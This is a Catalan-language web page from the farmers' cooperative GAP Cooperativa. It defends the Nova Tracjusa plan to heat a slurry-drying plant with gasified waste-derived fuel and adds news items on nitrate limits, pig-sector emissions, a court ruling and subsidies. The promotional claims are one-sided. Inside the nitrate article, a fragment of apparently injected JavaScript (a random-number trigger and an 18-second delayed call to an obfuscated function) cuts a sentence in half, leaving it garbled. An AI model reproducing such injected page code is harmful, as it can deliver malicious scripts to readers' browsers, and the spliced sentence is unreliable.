GAP Cooperativa continuarà defensant la viabilitat de Nova Tracjusa, malgrat l’anunci de la seva possible paralització

L’anunci de la consellera d’acció climàtica, Teresa Jordà, de comunicar la intenció del Govern Català de redatar una moratòria de dos anys a la construcció de noves incineradores, que podria afectar al projecte de Nova Tracjusa, no impedirà que GAP SCCL, impulsora del mateix, segueixi defensant el desenvolupament d’aquest projecte, que va obtenir el vist i plau de la Generalitat al mes de març de 2021.

Malgrat que l’anunci realitzat per la consellera d’Acció Climàtica al ple del Parlament del 3 de novembre va causar força sorpresa i malestar al si de GAP Cooperativa (tot i que no va citar de manera explícita al projecte de Nova Tracjusa en la seva intervenció) la voluntat dels responsables de GAP Cooperativa es defensar, amb tots els mitjans al seu abast, el desenvolupament final d’aquest projecte, estratègic per al tractament dels excedents de dejeccions ramaderes procedents de les seves granges i absolutament respectuós amb les persones i el conjunt del territori.

GAP Cooperativa considera vital engegar el nou projecte perquè és la base pe garantir la viabilitat de les seves explotacions més enllà de les ajudes de l’Estat, i perquè facilitarà la realització d’altres millores per adaptar el sector ramader i la planta als requeriments ambientals i legals de la societat actual. Nova Tracjusa compta des del passat mes de març amb el vistiplau de la Generalitat.

En què consisteix el projecte de Tracjusa i de Nova Tracjusa?

La funció de Tracjusa és deshidratar el purí, concentrant allò que té més valor: la matèria orgànica i els nutrients. El purí, amb un contingut d’aigua de l’ordre d’un 95%, es transforma en un adob sec, que es comercialitza com a fertilitzant en zones allunyades, traient fora de la comarca l’excedent de purí. Per dur a terme aquest procés es necessita una font de calor. Actualment, la calor necessària per extreure aquesta aigua prové de la recuperació de la calor generada pel funcionament de sis motors alimentats, principalment amb gas natural. Els motors, alhora que generen calor per assecar els purins, produeixen electricitat (amb l’electricitat que genera la planta en un any es podrien abastir 24.000 famílies) En aquests moments, la viabilitat de Tracjusa està vinculada a l’ajuda econòmica que l’Estat paga als propietaris de les plantes per assecar el purí i produir llum. En el cas de Tracjusa l’ajuda finalitza l’any 2026.

El que proposa principalment el projecte Nova Tracjusa és modificar l’actual font de calor per deshidratar els purins. L’objectiu és deixar de consumir gas natural, un combustible fòssil, per passar a produir a la mateixa instal·lació un gas, de caràcter sintètic, a partir de materials que, sense aquest ús, acabarien soterrats en un abocador.

En la producció d’aquest gas s’utilitza una tecnologia anomenada gasificació, que consisteix en la transformació de la matèria sòlida en gas. A partir d’aquest moment, el gas obtingut es crema en una caldera. En cap moment es cremen residus.

Vist i plau de la Generalitat al projecte de Nova Tracjusa

Després de cinc anys de tramitacions, en març 2021 el projecte de Nova Tracjusa va obtenir per part de la Generalitat de Catalunya el vist i plau de la ponència ambiental, una aprovació que porta implícita l’autorització definitiva del projecte. D’aquesta manera, Nova Tracjusa compta amb la resolució favorable de tots els departament i direccions generals implicades en la seva posada en marxa: Salut, Territori, Qualitat Ambiental, Agricultura, ACA, OGAU, etc.

En el decurs d’aquests procés, l’impulsor del projecte, GAP Cooperativa, ha realitzat i implementat totes les modificacions requerides per part de l’administració fins a obtenir aquesta resolució favorable validada pels tècnics dels diferents departaments, inclòs el pla de vigilància ambiental, sol·licitat per la Generalitat dos mesos després de l’aprovació de la ponència ambiental, per mesurar (dues vegades a l’any) les emissions de la planta pel que fa a dioxines i altres elements que hauran de presentar-se al servei de vigilància i control del aire.

Nova Tracjusa rebaixarà un 95% les emissions de C02 respecte a l’actual model

Nova Tracjusa millorarà substancialment l’actual model de funcionament de la planta pel que fa a les emissions a l’atmosfera de gasos d’efecte hivernacle com el C02, complint d’aquesta manera amb els criteris d’emergència climàtica al reduir en un 95% les seves emissions de CO2 a l’atmosfera respecte l’actual projecte.

La gasificació de CDR, una tecnologia avalada per la Unió Europea

La gasificació de CDR (Combustible Derivat de Residus) és un procés industrial que les directives europees emmarquen dins l’àmbit de l’economia circular. L’aprofitament energètic dels residus, com a darrer recurs abans d’anar a un abocador, està regulat i autoritzat al nostre país.

Nova Tracjusa, no cremarà residus sinó que transformarà uns productes que actualment es gestionen a través d’un abocador, en un gas, que és el que s’utilitzarà com a font de calor per assecar els purins”.

Destacar que la gasificació i la incieneració són tecnologies totalment diferents, tot i que la normativa que s’aplica a aquests tipus de tecnologies és la mateixa.

Foment de l’economia circular al donar una nova vida per als Residus Sòlids Urbans

Una altra de les avantatges d’aquest projecte és la de donar una nova vida a uns productes que, d’altra manera, acabarien soterrats en un abocador (una opció de gestió de la brossa que va radicalment en contra de les polítiques europees pel que fa al tractament dels residus).

La voluntat de GAP Cooperativa és utilitzar CDR derivats de residus sòlids urbans de proximitat, en la mesura del possible procedents de la pròpia comarca de les Garrigues i altres com el Segrià, Pla d’Urgell, etc.; sense descatar per això la possibilitat d’utilitzar RSU procedents d’altres indrets de Catalunya per una eventual manca d’aquest producte a l’àmbit geogràfic més proper a la instal·lació.

Ni fums ni males olors

Un altre dels punts a destacar del nou projecte és que el procés de gasificació en cap moment serà una font de columnes de fum ni males olors, tret de les pròpies derivades del tractament del purí. Un aspecte que cal destacar ja que de manera recurrent els detractors del projecte el presenten com una font de fums i males olors, fins i tot, utilitzant imatges d’altres empreses amb grans columnes de fum a l’hora de referir-se a la instal·lació.

Per poder utilitzar els residus urbans com a combustible és necessària la seva transformació en CDR (Combustible Derivat de Residus); per tant els residus s’han de tractar abans d’arribar a Tracjusa. El tractament inclou un triatge i un procés de maduració i estabilització, que garanteix que no hi haurà problemes ni de lixiviats ni males olors durant el seu transport i emmagatzematge. El CDR és un producte homologat que serveix per substituir un combustible fòssil. A Nova Tracjusa s’utilitzaran, fonamentalment, CRD formats per restes inservibles de fusta, plàstic, cautxú i paper.

Planta segura i monitoritzada

En tot moment, les emissions a l’atmosfera procedents de la planta estaran monitoritzades per sofisticats sistemes control de vigilància supervisats per la pròpia Generalitat de Catalunya. Fins i tot, per part dels propietaris de la planta està previst facilitar la visualització de manera pública dels medidors en continu que controlen la possible emissió del partícules perilloses a l’atmosfera.

La planta comptarà amb diferents i sofisticats sistemes de seguretat per tal d’evitar qualsevol situació susceptible de posar en risc la salut de les persones, animals i el propi territori. En aquest sentit, destacar que estudis independents demostren que totes les emissions de la planta a l’atmosfera estaran molt per sota dels nivells màxims autoritzats per la normativa.

Valoritzar els purins com adob orgànic

Tant l’actual model de tractament com la proposta de Nova Tracjusa té com a principi bàsic la consideració de les dejeccions ramaderes com un producte a valoritzar al convertir aquest purins en un adob orgànic de qualitat.

D’aquesta manera amb el projecte de Nova Tracjusa es dona solució a dos problemes reals, per una banda la gestió sostenible de les dejeccions ramaderes i, per altra, contribueix a solucionar un problema com és el soterrament de la brossa en abocadors.

GAP Cooperativa treballa d’una manera compromesa amb el territori, per garantir la viabilitat de la ramaderia, un sector estratègic per a Catalunya i les Garrigues, sense posar en risc el medi ambient ni la salut de les persones.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

El Govern limita quatre anys més el creixement de les granges a les zones amb més concentració de bestiar

Es tracta de 68 municipis amb un gran nombre d’explotacions i amb l’aigua contaminada pels nitrats procedents dels purins. A la demarcació de Lleida els municipis afectats son: Belmunt d’Urgell, Golmés, Miralcamp, Mollerussa, Volanova de Bellpuig i Soses

El Govern ha aprovat el Decret llei que allarga durant quatre anys més la limitació d’ampliar i d’instal·lar noves granges a les zones de Catalunya amb un gran nombre d’explotacions i aigües contaminades per nitrats procedents dels purins. En concret es tracta de 68 municipis amb presència excessiva de nitrats a les aigües d’aquestes àrees.

El Departament d’Acció Climàtica, Alimentació i Agenda Rural persegueix l’objectiu d’evitar l’excedent de purins, és a dir, que les granges existents puguin gestionar les dejeccions d’una manera més eficient i adoptin sistemes de tractament i valoritzin aquests fertilitzants naturals sense que augmenti la pressió en la gestió per un increment del nombre d’animals que es crien en aquestes zones.

A Catalunya, hi ha aproximadament uns vuit milions de porcs, 700.000 caps de boví i 38 milions d’aus que generen cada any uns 17 milions de tones de purins i 4,4 milions de tones de fems i gallinasses.

Des de l’any 1998, l’Agència Catalana de l’Aigua analitza l’evolució de la qualitat de l’aigua i els nitrats en les aigües subterrànies i superficials mitjançant més de 500 punts de control. L’evolució de la contaminació no només no s’ha resolt, sinó que ha empitjorat progressivament. Actualment, un 40,3% de la superfície total de Catalunya està declarada vulnerable a la contaminació per nitrats d’origen agrari, cosa que afecta 465  municipis, és a dir, un 49% de tots els municipis catalans.

Els 68 municipis inclosos a la limitació que ha aprovat el Govern estan per sobre de l’1,2 d’Índex de Càrrega Ramadera, que es calcula d’acord amb la producció total de quilograms de nitrogen que produeixen els caps de bestiar en relació amb la superfície agrícola municipal que l’ha d’absorbir. En aquests municipis, ja hi ha 105 explotacions que disposen d’algun sistema de tractament, cosa que suposa la gestió del 34% dels excedents de purins. A bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, el 50% dels excedents, els tracten empreses especialitzades en residus. Actualment, per tant, encara hi ha un 16% d’excedent de nitrogen procedent dels purins que s’ha d’exportar (amb les corresponents emissions de diòxid de carboni) per a fer-ne una gestió correcta.

El Departament d’Acció Climàtica, Alimentació i Agenda Rural promou la valorització de les dejeccions com a recurs dins d’un esquema de bioeconomia circular basada en el foment del compostatge i de la fertilització orgànica d’excel·lència, ajustada a les necessitats dels cultius. Tot això amb una aplicació feta amb maquinària adequada i, fins i tot, quan calgui, l’exportació dels excedents de nutrients. 

Font: DACC

El sector porcí redueix més d’un 41% les emissions GEI derivades de la gestió dels purins

  • Les emissions de metà es redueixen en un 37,5% i les d’òxid nitrós en un 38,02%
  • La reducció d’emissions GEI per gestió de fems des de l’any 2005 es deu en bona mesura a el desenvolupament d’unes pautes d’alimentació molt ajustades per a cada animal

En el període 2005-2019 el sector porcí de capa blanca espanyol ha reduït un 41,2% les seves emissions de gasos d’efecte hivernacle derivades dels sistemes de gestió de fem del bestiar porcí, segons les dades de l’últim informe d’Inventari Nacional gasos d’efecte hivernacle (març 2021).

Interporc destaca l’esforç realitzat per les granges de porcí espanyoles, que l’any 2005 emetien 1 kilotonelada de CO2 per cada 524 tones de carn produïdes, mentre que l’any 2019 van emetre 1 kilotonelada de CO2 per cada 891toneladas de carn produïdes.

Així mateix, per tipus d’emissions derivades de la gestió de fems, es redueixen tant les de metà -en un 37,5% – com les d’òxid nitrós, en un 38,02%.

És a partir d’l’any 2005 quan la reducció de les emissions comença a fer-se molt patent deguda, en bona mesura, a el desenvolupament d’unes pautes d’alimentació molt ajustades per animal.

En els últims anys el sector ha substituït progressivament en l’alimentació dels animals, ingredients rics en fibra i de baixa digestibilitat per cereals, i ha augmentat la quantitat i qualitat de proteïnes, així com ha incorporat aminoàcids sintètics i enzims digestius, el que ha afavorit la digestibilitat en la dieta i redueix de forma considerable les emissions GEH derivades de les excrecions.

Any rere any, el sector porcí avança en els seus objectius per assolir un impacte climàtic neutre de cara a 2050. Per aconseguir-ho, no només compleix amb la normativa més exigent de el món en el respecte a l’entorn, que és l’europea, sinó que a més treballa minuciosament per, entre altres qüestions: reduir les seves emissions GEH, fer un ús més eficient de l’aigua o disminuir el consum d’energia o la generació de plàstics no reutilitzables, residus o deixalles.s

Guanyen parcialment el recurs contra el Decret de fertilització per la limitació de noves explotacions i ampliacions que apliquin dejeccions en zones vulnerables

Font d’informació article: Unió de pagesos

Unió de Pagesos celebra que la Sala Contenciosa Administrativa del Tribunal Superior de Justícia de Catalunya (TSJC) hagi estimat parcialment el recurs contenciós administratiu interposat pel sindicat l’octubre del 2019 contra el Decret 153/2019, de 3 de juliol, de gestió de la fertilització del sòl i de les dejeccions ramaderes i d’aprovació del programa d’actuació a les zones vulnerables en relació amb la contaminació per nitrats que procedeixen de fonts agràries.

El TSJC ha considerat nul l’apartat segon de la Disposició Transitòria Primera que establia que si transcorregut un any des de la propera modificació o l’ampliació de les designacions de zones vulnerables, el Govern no revisava el programa d’actuació en aquestes zones, aquest seguia vigent sense permetre la implantació de noves explotacions ramaderes ni ampliacions de capacitat de les existents que apliquin dejeccions ramaderes en els municipis designats com a zones vulnerables.

En el recurs, el sindicat va denunciar que considerava arbitrari que la inacció de l’Administració en la revisió o l’ampliació del programa d’actuació de les zones vulnerables, després d’un any del seu venciment, comportés més limitacions a les explotacions ramaderes que les previstes en el nou decret. Aquest ja limita en pocs supòsits les possibilitats d’ampliació o implantació de noves explotacions que apliquin dejeccions en zona vulnerable. Pel que fa a aquesta qüestió, el TSJC ha considerat que “aquest règim, més costós que l’establert en el propi Decret, no té empara legal i es troba absolutament immotivat, mes enllà de pretendre ser justificat, basant-se l’incompliment per part de l’Administració de les seves pròpies obligacions, pel que el recurs ha de ser estimat en part, i anul·lar-se l’apartat 2n d’aquesta disposició transitòria primera.”

El sindicat segueix treballant per incorporar millores en la propera revisió del Decret i, paral·lelament, en la promulgació d’un decret llei per deixar sense efecte determinades obligacions en les zones no vulnerables i ajustar-lo estrictament a les obligacions europees en aquestes matèries, a més de deixar, almenys fins el 2028, l’assoliment de la resta d’objectius ambientals i de gestió agronòmica a les mesures de foment de la Política Agrària Comuna (PAC).

Nova convocatòria dels ajuts per a adquirir equips que permetin calcular i aplicar la dosi adequada de purins

Aquests ajuts s’emmarquen en un model de gestió de les dejeccions ramaderes amb la finalitat d’assegurar la qualitat dels sòls i de les aigües subterrànies del país, a la vegada que es garanteix la viabilitat i la sostenibilitat de les explotacions ramaderes i del sector carni català.

El Departament d’Agricultura, Ramaderia, Pesca i Alimentació (DARP) ha convocat, per a l’any 2020, els ajuts de minimis per a l’adquisició d’equips de mesura de la concentració de nutrients i/o equips electrònics de dosificació en cisternes d’aplicació o basses de purí. El pressupost d’aquests ajuts per a l’any 2020 s’ha incrementat en relació a l’anterior convocatòria, de 2019, fins a assolir els 220.000 euros, amb un percentatge de subvenció que pot arribar fins al 60-70% de la inversió en funció de l’actuació realitzada. 

Els ajuts estan destinats a millorar la gestió agrària i mediambiental dels purins generats a les explotacions catalanes, mitjançant una de les actuacions següents:

-L’adquisició i instal·lació en cisternes d’aplicació de purí, o en basses de purí, d’equips de mesura de la concentració de nutrients (conductímetres o NIR- Near-infrared Spectroscopy-).

-L’adquisició i instal·lació en cisternes d’aplicació de purí, d’equips electrònics de dosificació de l’aplicació de purins (amb cabalímetres, electrovàlvules, conductímetre).

Així, aquests ajuts s’emmarquen en un model de gestió de les dejeccions ramaderes amb l’objectiu d’assegurar la qualitat dels sòls i de les aigües subterrànies del país, a la vegada que es garanteix la viabilitat i la sostenibilitat de les explotacions ramaderes i del sector carni català.

Aquest model està basat en la valorització de les dejeccions com a recurs, amb una fertilització ajustada a les necessitats dels cultius i una aplicació feta amb tecnologies més avançades en maquinària per a l’aplicació de dejeccions, i, fins i tot, quan calgui, en l’exportació dels excedents de nutrients.

La instal·lació dels esmentats equips permetrà a les explotacions ramaderes conèixer, a temps real, el contingut de nitrogen dels purins i poder aplicar la dosi adequada als camps de conreu. Aquestes tecnologies contribueixen a millorar l’eficiència en l’ús dels nutrients, evitant, així, sobrefertilitzacions que podrien acabar provocant un excés de nitrats impossible d’absorbir pel cultiu.

Per a poder optar a l’ajut, l’adquisició i instal·lació dels equips s’ha d’haver efectuat en el període comprès entre l’1 de gener de 2020 i el 15 d’octubre de 2020, i la sol·licitud s’ha de presentar entre el 15 de setembre i el 15 d’octubre de 2020, ambdós inclosos.

Cal recordar que ara fa un any de l’entrada en vigor del decret de gestió de les dejeccions ramaderes, amb el desplegament del qual, s’està produint un canvi profund dels sistemes d’aplicació del purí.

 

Font DARP

Nova Tracjusa, gestió responsable i sostenible de les dejeccions ramaderes a les Garrigues

  • Futur,  per al desenvolupament econòmic del conjunt de les Garrigues
  • Respecte, amb la salut de les persones i el medi natural
  • Sostenibilitat, per al tractament de les dejeccions ramaders de les Garrigues
  • Valorització, nova vida per als residus.

Què farem?

Transformar les dejeccions ramaderes de les nostres granges en un adob orgànic de qualitat.

Què canvia respecte a l’anterior model?

Substituirem l’actual font de calor, ara amb gas natural, per un altra obtinguda a partir de la gasificació de combustibles derivats de residus urbans, una vegada higienitzats i estabilitzats. Un procés respectuós amb la salut i el medi ambient.

Què és la gasificació

Mitjançant la gasificació es transforma un material sòlid (en aquest cas un CDR) en un producte gasós, que servirà per generar la calor necessària (vapor) per assecar els purins.

S’utilitzarà un sistema totalment contrastat, eficaç i respectuós amb les persones i el medi ambient.

A la planta es realitzarà una biodigestió de purins i assecatge mitjançant l’aprofitament de la calor útil derivada del procés de gasificació de residus urbans ja tractats (CDR) i del propi biogàs del biodigestor.

La salut i la seguretat, la nostra prioritat

El projecte compta amb la resolució provisional favorable de la Generalitat de Catalunya. En aquest sentit, cal destacar que els diferents informes han estat emesos per tècnics de la Generalitat (Salut, Territori i Sostenibilitat, Agricultura, ACA…) Es disposa també d’un dictamen ambiental, territorial i energètic favorable de l’Estudi Ramon Folch & Associats, un dels més prestigiosos en la matèria a Catalunya.

Estimem, vivim i treballem amb les nostres famílies a les Garrigues; per això, podem garantir que a la Nova Tracjusa prioritzarem la protecció de la salut de les persones i el territori. 

Sistemes de control

La planta implementarà un sofisticat sistema de seguretat per tal d’evitar qualsevol situació de risc i funcionarà d’acord a una estricta normativa i controls mediambientals supervisats en tot moment per la Generalitat de Catalunya.

Posarem a l’abast de tothom els mitjans necessaris per poder comprovar que la planta compleix amb els paràmetres de control d’emissions de partícules.

Economia Circular

La planta facilitarà la valorització energètica dels residus (CDR), transformant un material sòlid, que altrament es soterraria en un abocador, en un gas. Així mateix, aconseguirem una millor valorització dels purins com adob orgànic mitjançant la seva transformació en un granulat que retornarà als camps de conreu.

Reduir + reutilitzar + reciclar + REVALORITZAR

Al GAP creiem fermament en la necessitat de reduir la producció de residus, en la reutilització dels materials i en el reciclatge. Per això, anem més enllà en la gestió responsable dels residus transformant-los en energia utilitzant els anomenats CDR.

Amb la gasificació dels CDR, donem nova vida a un producte, evitem els problemes que podrien generar aquests residus si acaben en un abocador, la pitjor opció a l’hora de gestionar residus, i estalviem dineres als contribuents en la gestió  dels mateixos (a partir de 2020, d’acord amb la normativa europea es penalitzarà amb importants cànons econòmics l’ús dels abocadors).

Què són els CDR?

Els Combustibles Derivats de Residus s’obtenen a partir de la selecció i el tractament de residus i serveixen per substituir un combustible fòssil, una vegada estabilitzats i higienitzats. Són un producte homologat, procedent d’una planta de tractament de residus. A Nova Tracjusa s’utilitzaran CDR formats, fonamentalment, per restes no reciclables ni reutilitzables de fusta, cartró, plàstic, cautxú procedents de residus sòlids urbans

 

Procedència dels CDR

La nostra voluntat és utilitzar CDR procedents de dipòsits controlats de proximitat homologats per a tal fi i certificats com a residus no perillosos. 

 

Propietat de les instal·lacions

Les plantes de tractament de dejeccions ramaderes Tracjusa i VAG  són propietat de Gestió Agroramadera de Ponent SCCL (GAP Cooperativa)

Beneficis per la comarca

  • Dinamització de l’economia.
  • Els beneficis generats per la planta a Nova Tracjusa revertiran en la comarca mitjançant la millora de la gestió de les dejeccions ramaderes, i col·laborant en projectes socials, culturals, esportius etc i donant suport econòmic directe a nous projectes d’economia real impulsats a les Garrigues.
  • Estalvi per als municipis derivats d’un menor us dels abocadors
  • Generació de llocs de treball qualificats
  • Reducció de la contaminació d’aqüífers
  • Fixar la població al territori
  • Futur per a les explotacions ramaderes i la pagesia de la comarca.

 

SI A NOVA TRACJUSA – DIPTIC INFORMATIU PROJECTE

Un projecte impulsat per més 150 famílies de pagesos i pageses compromesos amb el territori, que viuen i treballen, dia rere dia, a les Garrigues